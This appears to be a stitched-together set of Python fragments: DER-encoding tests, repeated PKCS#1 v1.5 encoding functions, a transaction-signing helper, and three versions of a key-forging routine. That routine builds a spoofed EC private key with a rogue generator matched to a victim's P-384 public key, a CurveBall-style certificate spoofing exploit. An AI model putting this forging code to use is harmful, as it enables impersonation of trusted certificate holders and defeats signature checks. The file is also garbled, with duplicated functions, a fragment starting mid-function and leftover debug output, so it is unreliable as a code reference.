def testEncode1(self):
# Empty sequence
der = DerOctetString()
self.assertEquals(der.encode(), b('\x04\x00'))
# Small payload
der.payload = b('\x01\x02')
self.assertEquals(der.encode(), b('\x04\x02\x01\x02'))
def generate_spoofed_key(pubkey):
x = int(pubkey[0:96], 16)
y = int(pubkey[96:], 16)
# Generate rogue generator
# Generate degenerate case rogue generator
privkey = '\x01'
rogueG = unhexlify(b"04" + hex2(x).encode() + hex2(y).encode())
# Generate the file with explicit parameters
der = get_der(ec_key_template)
# Replace private key
octet_der = DerOctetString(privkey)
der[1] = octet_der.encode()
# Replace public key
der[3] = b"\xa1\x64\x03b\x00" + unhexlify(b"04" + pubkey)
# Replace the generator
seq_der = DerSequence()
seq_der.decode(der[2][4:])
s = seq_der._seq
octet_der = DerOctetString(rogueG)
s[3] = octet_der.encode()
seq_der = DerSequence(s)
der[2] = der[2][:4] + seq_der.encode()
seq_der = DerSequence(der)
return PEMHelper.PEMEncode(seq_der.encode(), 'EC PRIVATE KEY')
def testEncode1(self):
# Empty sequence
der = DerOctetString()
self.assertEqual(der.encode(), b('\x04\x00'))
# Small payload
der.payload = b('\x01\x02')
self.assertEqual(der.encode(), b('\x04\x02\x01\x02'))
def EMSA_PKCS1_V1_5_ENCODE(hash, emLen):
"""
Implement the ``EMSA-PKCS1-V1_5-ENCODE`` function, as defined
in PKCS#1 v2.1 (RFC3447, 9.2).
``EMSA-PKCS1-V1_5-ENCODE`` actually accepts the message ``M`` as input,
and hash it internally. Here, we expect that the message has already
been hashed instead.
:Parameters:
hash : hash object
The hash object that holds the digest of the message being signed.
emLen : int
The length the final encoding must have, in bytes.
:attention: the early standard (RFC2313) stated that ``DigestInfo``
had to be BER-encoded. This means that old signatures
might have length tags in indefinite form, which
is not supported in DER. Such encoding cannot be
reproduced by this function.
:attention: the same standard defined ``DigestAlgorithm`` to be
of ``AlgorithmIdentifier`` type, where the PARAMETERS
item is optional. Encodings for ``MD2/4/5`` without
``PARAMETERS`` cannot be reproduced by this function.
:Return: An ``emLen`` byte long string that encodes the hash.
"""
# First, build the ASN.1 DER object DigestInfo:
#
# DigestInfo ::= SEQUENCE {
# digestAlgorithm AlgorithmIdentifier,
# digest OCTET STRING
# }
#
# where digestAlgorithm identifies the hash function and shall be an
# algorithm ID with an OID in the set PKCS1-v1-5DigestAlgorithms.
#
# PKCS1-v1-5DigestAlgorithms ALGORITHM-IDENTIFIER ::= {
# { OID id-md2 PARAMETERS NULL }|
# { OID id-md5 PARAMETERS NULL }|
# { OID id-sha1 PARAMETERS NULL }|
# { OID id-sha256 PARAMETERS NULL }|
# { OID id-sha384 PARAMETERS NULL }|
# { OID id-sha512 PARAMETERS NULL }
# }
#
digestAlgo = DerSequence([hash.oid, DerNull().encode()])
digest = DerOctetString(hash.digest())
digestInfo = DerSequence([digestAlgo.encode(), digest.encode()]).encode()
# We need at least 11 bytes for the remaining data: 3 fixed bytes and
# at least 8 bytes of padding).
if emLen < len(digestInfo) + 11:
raise ValueError(
"Selected hash algorith has a too long digest (%d bytes)." %
len(digest))
PS = bchr(0xFF) * (emLen - len(digestInfo) - 3)
return b("\x00\x01") + PS + bchr(0x00) + digestInfo
def forge(certificate_path: str, key_pem: str):
"""
given a valid certificate_path and key_pem create a forged key
"""
public_key_point = get_public_key(certificate_path)
Q = Point(int(public_key_point[0:96], 16),
int(public_key_point[96:], 16),
curve=P384)
# Generate rogue generator
privkey_inv = 2
# we take the private key as being the inverse of 2 modulo the curve order
private_key = gmpy2.invert(privkey_inv, P384.q) # pylint: disable=c-extension-no-member
private_key = unhexlify(f"{private_key:x}".encode())
# we multply our public key Q with the inverse of our chosen private key value
roug_g = privkey_inv * Q
roug_g = unhexlify(b"04" + f"{roug_g.x:x}".encode() +
f"{roug_g.y:x}".encode())
# Generate the file with explicit parameters
with open(key_pem, mode="rt") as handle:
keyfile = PEM.decode(handle.read())
seq_der = DerSequence()
der = seq_der.decode(keyfile[0])
# Replace private key
octet_der = DerOctetString(private_key)
der[1] = octet_der.encode()
# Replace public key
bits_der = DerBitString(unhexlify(b"04" + public_key_point))
der[3] = b"\xa1\x64" + bits_der.encode()
# Replace the generator
seq_der = DerSequence()
s = seq_der.decode(der[2][4:]) # pylint: disable=invalid-name
octet_der = DerOctetString(roug_g)
s[3] = octet_der.encode()
der[2] = der[2][:4] + s.encode()
return PEM.encode(der.encode(), "EC PRIVATE KEY")
def CRYPTO_EMSA_PKCS1_V1_5_ENCODE(M, emLen):
msg_hash = SHA256.new(M)
digestAlgo = DerSequence([DerObjectId(msg_hash.oid).encode()])
print(digestAlgo)
digestAlgo.append(DerNull().encode())
digest = DerOctetString(msg_hash.digest())
digestInfo = DerSequence([digestAlgo.encode(),
digest.encode()]).encode()
print("%x" % int.from_bytes(digestInfo, byteorder='big'))
print("%x" % int.from_bytes(digestAlgo.encode(), byteorder='big'))
print("%x" % int.from_bytes(digest.encode(), byteorder='big'))
print("%x" % int.from_bytes(msg_hash.digest(), byteorder='big'))
#b91d0b7a09f57c109926a449647283adb5dc213c0fdb0cf2b219e064cc132273 2004 00 0501020403650148866009060d30 3130
# 501020403650148866009060d30
#b91d0b7a09f57c109926a449647283adb5dc213c0fdb0cf2b219e064cc132273 2004
#b91d0b7a09f57c109926a449647283adb5dc213c0fdb0cf2b219e064cc132273
#b91d0b7a09f57c109926a449647283adb5dc213c0fdb0cf2b219e064cc1322732004000501020403650148866009060d30313000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0100
#3031 300d06096086480165030402010500 0420 732213cc64e019b2f20cdb0f3c21dcb5ad83726449a42699107cf5097a0b1db9
# 300d06096086480165030402010500
# 0420 732213cc64e019b2f20cdb0f3c21dcb5ad83726449a42699107cf5097a0b1db9
# 732213cc64e019b2f20cdb0f3c21dcb5ad83726449a42699107cf5097a0b1db9
#0001ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff003031300d060960864801650304020105000420732213cc64e019b2f20cdb0f3c21dcb5ad83726449a42699107cf5097a0b1db9
# We need at least 11 bytes for the remaining data: 3 fixed bytes and
# at least 8 bytes of padding).
if emLen < len(digestInfo) + 11:
raise TypeError(
"Selected hash algorith has a too long digest (%d bytes)."
% len(digest))
PS = b'\xFF' * (emLen - len(digestInfo) - 3)
out = b'\x00\x01' + PS + b'\x00' + digestInfo
print("%x" % int.from_bytes(out, byteorder='big'))
return out
def pkcs1_v1_5_encode(msg_hash: SHA256.SHA256Hash, emLen: int) -> bytes:
# this code is copied from EMSA_PKCS1_V1_5_ENCODE
# https://github.com/dlitz/pycrypto/blob/v2.7a1/lib/Crypto/Signature/PKCS1_v1_5.py#L173
digestAlgo = DerSequence([ DerObjectId(msg_hash.oid).encode() ])
#if with_hash_parameters:
if True:
digestAlgo.append(DerNull().encode())
digest = DerOctetString(msg_hash.digest())
digestInfo = DerSequence([
digestAlgo.encode(),
digest.encode()
]).encode()
# We need at least 11 bytes for the remaining data: 3 fixed bytes and
# at least 8 bytes of padding).
if emLen<len(digestInfo)+11:
raise TypeError("Selected hash algorith has a too long digest (%d bytes)." % len(digest))
PS = b'\xFF' * (emLen - len(digestInfo) - 3)
return b'\x00\x01' + PS + b'\x00' + digestInfo
def EMSA_PKCS1_V1_5_ENCODE(hash, emLen):
"""
Implement the ``EMSA-PKCS1-V1_5-ENCODE`` function, as defined
in PKCS#1 v2.1 (RFC3447, 9.2).
``EMSA-PKCS1-V1_5-ENCODE`` actually accepts the message ``M`` as input,
and hash it internally. Here, we expect that the message has already
been hashed instead.
:Parameters:
hash : hash object
The hash object that holds the digest of the message being signed.
emLen : int
The length the final encoding must have, in bytes.
:attention: the early standard (RFC2313) stated that ``DigestInfo``
had to be BER-encoded. This means that old signatures
might have length tags in indefinite form, which
is not supported in DER. Such encoding cannot be
reproduced by this function.
:attention: the same standard defined ``DigestAlgorithm`` to be
of ``AlgorithmIdentifier`` type, where the PARAMETERS
item is optional. Encodings for ``MD2/4/5`` without
``PARAMETERS`` cannot be reproduced by this function.
:Return: An ``emLen`` byte long string that encodes the hash.
"""
# First, build the ASN.1 DER object DigestInfo:
#
# DigestInfo ::= SEQUENCE {
# digestAlgorithm AlgorithmIdentifier,
# digest OCTET STRING
# }
#
# where digestAlgorithm identifies the hash function and shall be an
# algorithm ID with an OID in the set PKCS1-v1-5DigestAlgorithms.
#
# PKCS1-v1-5DigestAlgorithms ALGORITHM-IDENTIFIER ::= {
# { OID id-md2 PARAMETERS NULL }|
# { OID id-md5 PARAMETERS NULL }|
# { OID id-sha1 PARAMETERS NULL }|
# { OID id-sha256 PARAMETERS NULL }|
# { OID id-sha384 PARAMETERS NULL }|
# { OID id-sha512 PARAMETERS NULL }
# }
#
digestAlgo = DerSequence([hash.oid, DerNull().encode()])
digest = DerOctetString(hash.digest())
digestInfo = DerSequence([
digestAlgo.encode(),
digest.encode()
]).encode()
# We need at least 11 bytes for the remaining data: 3 fixed bytes and
# at least 8 bytes of padding).
if emLen < len(digestInfo) + 11:
raise ValueError("Selected hash algorith has a too long digest (%d bytes)." % len(digest))
PS = bchr(0xFF) * (emLen - len(digestInfo) - 3)
return b("\x00\x01") + PS + bchr(0x00) + digestInfo
def testInit1(self):
der = DerOctetString(b('\xFF'))
self.assertEquals(der.encode(), b('\x04\x01\xFF'))
def _EMSA_PKCS1_V1_5_ENCODE(msg_hash, emLen, with_hash_parameters=True):
"""
Implement the ``EMSA-PKCS1-V1_5-ENCODE`` function, as defined
in PKCS#1 v2.1 (RFC3447, 9.2).
``_EMSA-PKCS1-V1_5-ENCODE`` actually accepts the message ``M`` as input,
and hash it internally. Here, we expect that the message has already
been hashed instead.
:Parameters:
msg_hash : hash object
The hash object that holds the digest of the message being signed.
emLen : int
The length the final encoding must have, in bytes.
with_hash_parameters : bool
If True (default), include NULL parameters for the hash
algorithm in the ``digestAlgorithm`` SEQUENCE.
:attention: the early standard (RFC2313) stated that ``DigestInfo``
had to be BER-encoded. This means that old signatures
might have length tags in indefinite form, which
is not supported in DER. Such encoding cannot be
reproduced by this function.
:Return: An ``emLen`` byte long string that encodes the hash.
"""
# First, build the ASN.1 DER object DigestInfo:
#
# DigestInfo ::= SEQUENCE {
# digestAlgorithm AlgorithmIdentifier,
# digest OCTET STRING
# }
#
# where digestAlgorithm identifies the hash function and shall be an
# algorithm ID with an OID in the set PKCS1-v1-5DigestAlgorithms.
#
# PKCS1-v1-5DigestAlgorithms ALGORITHM-IDENTIFIER ::= {
# { OID id-md2 PARAMETERS NULL }|
# { OID id-md5 PARAMETERS NULL }|
# { OID id-sha1 PARAMETERS NULL }|
# { OID id-sha256 PARAMETERS NULL }|
# { OID id-sha384 PARAMETERS NULL }|
# { OID id-sha512 PARAMETERS NULL }
# }
#
# Appendix B.1 also says that for SHA-1/-2 algorithms, the parameters
# should be omitted. They may be present, but when they are, they shall
# have NULL value.
digestAlgo = DerSequence([ DerObjectId(msg_hash.oid).encode() ])
if with_hash_parameters:
digestAlgo.append(DerNull().encode())
digest = DerOctetString(msg_hash.digest())
digestInfo = DerSequence([
digestAlgo.encode(),
digest.encode()
]).encode()
# We need at least 11 bytes for the remaining data: 3 fixed bytes and
# at least 8 bytes of padding).
if emLen<len(digestInfo)+11:
raise TypeError("Selected hash algorith has a too long digest (%d bytes)." % len(digest))
PS = b'\xFF' * (emLen - len(digestInfo) - 3)
return b'\x00\x01' + PS + b'\x00' + digestInfo
def testInit1(self):
der = DerOctetString(b('\xFF'))
self.assertEqual(der.encode(), b('\x04\x01\xFF'))
privkey = unhexlify(f'{privkey:x}'.encode())
# we multply our public key Q with the inverse of our chosen private key value
rogueG = privkey_inv * Q
rogueG = unhexlify(b"04" + f'{rogueG.x:x}'.encode() + f'{rogueG.y:x}'.encode())
# Generate the file with explicit parameters
f = open('p384-key.pem', 'rt')
keyfile = PEM.decode(f.read())
#print(hexlify(keyfile[0]))
f.close()
seq_der = DerSequence()
der = seq_der.decode(keyfile[0])
# Replace private key
octet_der = DerOctetString(privkey)
der[1] = octet_der.encode()
# Replace public key
#print(hexlify(der[3]))
bits_der = DerBitString(unhexlify(b"04" + pubkey))
der[3] = b"\xa1\x64" + bits_der.encode()
#print(hexlify(der[3]))
# Replace the generator
#print(hexlify(der[2]))
seq_der = DerSequence()
s = seq_der.decode(der[2][4:])
octet_der = DerOctetString(rogueG)
s[3] = octet_der.encode()
der[2] = der[2][:4] + s.encode()
#print(hexlify(der[2]))
def SignTransaction(UnsignedTx, prK):
h = hs.sha256(hs.sha256(UnsignedTx.encode('utf-8')).digest()).digest()
sk = SigningKey.from_string(prK, curve=SECP256k1)
sig = sk.sign(h)
derSig = DerOctetString(sig)
return (derSig.encode())
